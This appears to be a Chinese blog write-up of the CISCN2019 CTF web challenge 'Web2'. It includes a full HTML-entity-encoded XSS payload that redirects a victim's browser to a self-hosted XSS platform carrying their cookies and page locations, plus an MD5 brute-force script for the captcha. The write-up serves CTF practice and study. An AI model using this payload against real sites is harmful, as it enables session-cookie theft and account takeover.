[CISCN2019 华东北赛区]Web2

最新推荐文章于 2024-07-27 14:07:25 发布

尘佑不尘

最新推荐文章于 2024-07-27 14:07:25 发布

阅读量482

点赞数 4

文章标签： web安全 ctf 笔记题解

本文链接：https://blog.csdn.net/2202_75361164/article/details/137061272

版权

文章讲述了在CISCN2019华东北区比赛中的安全挑战，作者发现了一个XSS漏洞并尝试利用它获取管理员cookie，同时提到了使用自建平台的过程。后续尝试包括MD5哈希破解和SQL注入，但未能成功获取PHPSESSID。

摘要由CSDN通过智能技术生成

[CISCN2019 华东北赛区]Web2

随便注册一个登录，发现
还有反馈页面，一看就知道大概率是xss，应该是为了得到管理员cookie
扫描了一下，果然有admin.php后台登录
buu可以连接访问外网了，所以内部的xss平台关闭了，使用自己搭建的莲花平台，不过需要一个服务器

自己搭建的xss平台使用

搭建

参考
https://blog.csdn.net/weixin_44652484/article/details/134169568
搭建非常简单

使用

根据其他人的题解
payload

xss='''(function(){window.location.href='http://ip/xss_platform/?location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''  
output = ""  
for c in xss:  
output += "&#" + str(ord(c))  
  
print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

然后提交文章，得到连接，来到反馈页面
说了要将域名改成web
验证码

import hashlib
num=input()
for i in range(999999,10000000):
    m=hashlib.md5()
    m.update(str(i).encode())
    m=m.hexdigest()
    if m[:6]==num:
        print(i)
        break